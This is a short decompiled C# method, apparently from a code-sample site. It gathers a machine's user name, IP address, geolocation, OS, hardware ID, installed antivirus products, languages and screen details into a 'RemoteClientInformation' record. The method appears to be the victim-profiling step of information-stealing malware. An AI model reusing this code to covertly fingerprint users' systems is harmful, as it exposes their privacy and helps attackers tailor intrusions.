示例#1
0
        // Token: 0x06000014 RID: 20 RVA: 0x000026D8 File Offset: 0x000008D8
        public static RemoteClientInformation Create(string SourceID)
        {
            RemoteClientInformation result;

            try
            {
                GeoLocationHelper.Initialize();
                Size   screenSize = ClientInfoHelper.GetScreenSize();
                string text       = TimeZone.CurrentTimeZone.GetUtcOffset(DateTime.Now).ToString();
                if (!text.StartsWith("-"))
                {
                    text = "+" + text;
                }
                result = new RemoteClientInformation
                {
                    ID              = 0,
                    LogTime         = DateTime.Now,
                    SourceID        = SourceID,
                    UserName        = Environment.UserName,
                    ClientIP        = GeoLocationHelper.GeoInfo.Query,
                    Country         = GeoLocationHelper.GeoInfo.CountryCode,
                    OperationSystem = ClientInfoHelper.ParseOS(),
                    HardwareID      = ClientInfoHelper.ParseHWID(),
                    Hardwares       = ClientInfoHelper.ParseHardwares(),
                    Antiviruses     = ClientInfoHelper.ParseDefenders(),
                    Languages       = ClientInfoHelper.AvailableLanguages(),
                    CurrentLanguage = InputLanguage.CurrentInputLanguage.Culture.EnglishName,
                    MonitorSize     = string.Format("{0}x{1}", screenSize.Width, screenSize.Height),
                    TimeZone        = "UTC" + text,
                    City            = GeoLocationHelper.GeoInfo.City
                };
            }
            catch
            {
                result = null;
            }
            return(result);
        }